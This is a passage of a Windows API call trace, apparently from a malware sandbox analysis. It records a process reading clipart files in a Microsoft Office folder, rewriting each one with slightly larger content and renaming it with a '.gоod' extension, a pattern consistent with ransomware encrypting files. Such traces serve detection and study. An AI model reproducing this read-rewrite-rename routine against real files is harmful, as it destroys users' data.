Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF", lpFilePart=0x0) returned 0x44 [0254.114] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0254.114] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3bcd4b8 | out: lpFileInformation=0x3bcd4b8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc20)) returned 1 [0254.114] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0254.114] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF", lpFilePart=0x0) returned 0x44 [0254.114] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0254.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0254.115] GetFileType (hFile=0x858) returned 0x1 [0254.115] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0254.115] GetFileType (hFile=0x858) returned 0x1 [0254.115] GetFileSize (in: hFile=0x858, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0xc20 [0254.115] ReadFile (in: hFile=0x858, lpBuffer=0x3bce380, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x3bce380*, lpNumberOfBytesRead=0x1faedc88*=0xc20, lpOverlapped=0x0) returned 1 [0256.015] CloseHandle (hObject=0x858) returned 1 [0258.368] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF", lpFilePart=0x0) returned 0x44 [0258.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0258.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0258.369] GetFileType (hFile=0x828) returned 0x1 [0258.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0258.369] GetFileType (hFile=0x828) returned 0x1 [0258.369] WriteFile (in: hFile=0x828, lpBuffer=0x374abd8*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x374abd8*, lpNumberOfBytesWritten=0x1faedb98*=0xc30, lpOverlapped=0x0) returned 1 [0258.369] CloseHandle (hObject=0x828) returned 1 [0258.370] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF", lpFilePart=0x0) returned 0x44 [0258.370] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0258.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0258.370] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x963779ab, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc30)) returned 1 [0258.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0258.370] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf.gоod")) returned 1 [0258.371] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF", lpFilePart=0x0) returned 0x44 [0258.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0258.371] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x374be68 | out: lpFileInformation=0x374be68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x634)) returned 1 [0258.372] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0258.372] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF", lpFilePart=0x0) returned 0x44 [0258.372] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0258.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0258.372] GetFileType (hFile=0x828) returned 0x1 [0258.372] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0258.372] GetFileType (hFile=0x828) returned 0x1 [0258.372] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0x634 [0258.372] ReadFile (in: hFile=0x828, lpBuffer=0x374c748, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x374c748*, lpNumberOfBytesRead=0x1faedc88*=0x634, lpOverlapped=0x0) returned 1 [0258.771] CloseHandle (hObject=0x828) returned 1 [0260.433] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF", lpFilePart=0x0) returned 0x44 [0260.433] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0260.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0260.435] GetFileType (hFile=0x86c) returned 0x1 [0260.435] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0260.435] GetFileType (hFile=0x86c) returned 0x1 [0260.435] WriteFile (in: hFile=0x86c, lpBuffer=0x3988cb8*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x3988cb8*, lpNumberOfBytesWritten=0x1faedb98*=0x640, lpOverlapped=0x0) returned 1 [0260.435] CloseHandle (hObject=0x86c) returned 1 [0260.435] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF", lpFilePart=0x0) returned 0x44 [0260.435] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0260.435] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0260.435] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9772f9d0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x640)) returned 1 [0260.435] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0260.436] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf.gоod")) returned 1 [0260.437] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF", lpFilePart=0x0) returned 0x44 [0260.437] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0260.437] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3989f48 | out: lpFileInformation=0x3989f48*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4bc)) returned 1 [0260.438] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0260.438] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF", lpFilePart=0x0) returned 0x44 [0260.438] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0260.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0260.438] GetFileType (hFile=0x86c) returned 0x1 [0260.438] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0260.438] GetFileType (hFile=0x86c) returned 0x1 [0260.439] GetFileSize (in: hFile=0x86c, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0x4bc [0260.439] ReadFile (in: hFile=0x86c, lpBuffer=0x398a6b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x398a6b0*, lpNumberOfBytesRead=0x1faedc88*=0x4bc, lpOverlapped=0x0) returned 1 [0260.440] CloseHandle (hObject=0x86c) returned 1 [0260.538] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF", lpFilePart=0x0) returned 0x44 [0260.538] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0260.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0260.539] GetFileType (hFile=0x768) returned 0x1 [0260.539] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0260.539] GetFileType (hFile=0x768) returned 0x1 [0260.539] WriteFile (in: hFile=0x768, lpBuffer=0x3817090*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x3817090*, lpNumberOfBytesWritten=0x1faedb98*=0x4c0, lpOverlapped=0x0) returned 1 [0260.540] CloseHandle (hObject=0x768) returned 1 [0260.540] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF", lpFilePart=0x0) returned 0x44 [0260.540] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0260.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0260.540] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9782072d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4c0)) returned 1 [0260.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0260.540] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf.gоod")) returned 1 [0260.541] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF", lpFilePart=0x0) returned 0x44 [0260.541] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0260.541] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3818320 | out: lpFileInformation=0x3818320*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x804)) returned 1 [0260.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0260.541] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF", lpFilePart=0x0) returned 0x44 [0260.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0260.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0260.542] GetFileType (hFile=0x768) returned 0x1 [0260.542] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0260.542] GetFileType (hFile=0x768) returned 0x1 [0260.542] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0x804 [0260.542] ReadFile (in: hFile=0x768, lpBuffer=0x3818dd0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x3818dd0*, lpNumberOfBytesRead=0x1faedc88*=0x804, lpOverlapped=0x0) returned 1 [0260.542] CloseHandle (hObject=0x768) returned 1 [0261.017] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF", lpFilePart=0x0) returned 0x44 [0261.017] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0261.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0261.018] GetFileType (hFile=0x864) returned 0x1 [0261.018] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0261.018] GetFileType (hFile=0x864) returned 0x1 [0261.018] WriteFile (in: hFile=0x864, lpBuffer=0x3aa0ea8*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x3aa0ea8*, lpNumberOfBytesWritten=0x1faedb98*=0x810, lpOverlapped=0x0) returned 1 [0261.018] CloseHandle (hObject=0x864) returned 1 [0261.018] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF", lpFilePart=0x0) returned 0x44 [0261.018] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0261.018] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0261.018] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x97ca69df, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x810)) returned 1 [0261.018] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0261.019] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf.gоod")) returned 1 [0261.019] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF", lpFilePart=0x0) returned 0x44 [0261.019] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0261.020] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3aa2138 | out: lpFileInformation=0x3aa2138*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15cc)) returned 1 [0261.020] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0261.020] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF", lpFilePart=0x0) returned 0x44 [0261.020] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0261.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0261.020] GetFileType (hFile=0x864) returned 0x1 [0261.020] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0261.020] GetFileType (hFile=0x864) returned 0x1 [0261.020] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0261.020] ReadFile (in: hFile=0x864, lpBuffer=0x3aa2550, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3aa2550*, lpNumberOfBytesRead=0x1faedd28*=0x5cc, lpOverlapped=0x0) returned 1 [0261.021] CloseHandle (hObject=0x864) returned 1 [0261.021] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF", lpFilePart=0x0) returned 0x44 [0261.021] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0261.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0261.021] GetFileType (hFile=0x864) returned 0x1 [0261.021] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0261.021] GetFileType (hFile=0x864) returned 0x1 [0261.022] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x15cc [0261.022] WriteFile (in: hFile=0x864, lpBuffer=0x3aa3818*, 